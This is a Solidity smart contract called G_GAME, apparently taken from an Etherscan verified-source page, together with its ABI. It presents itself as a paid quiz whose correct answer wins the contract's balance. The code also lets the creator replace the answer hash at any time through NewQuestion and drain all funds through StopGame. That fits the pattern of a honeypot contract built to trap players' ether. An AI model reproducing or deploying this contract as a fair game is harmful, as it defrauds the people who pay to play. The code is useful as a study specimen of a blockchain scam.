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/**
 *Submitted for verification at Etherscan.io on 2018-05-08
*/

pragma solidity ^0.4.20;

contract G_GAME
{
    function Play(string _response)
    external
    payable
    {
        require(msg.sender == tx.origin);
        if(responseHash == keccak256(_response) && msg.value>1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    string public question;
 
    address questionSender;
  
    bytes32 responseHash;
 
    function StartGame(string _question,string _response)
    public
    payable
    {
        if(responseHash==0x0)
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
        }
    }
    
    function StopGame()
    public
    payable
    {
       require(msg.sender==questionSender);
       msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash)
    public
    payable
    {
        require(msg.sender==questionSender);
        question = _question;
        responseHash = _responseHash;
    }
    
    function() public payable{}
}

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[{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"StartGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

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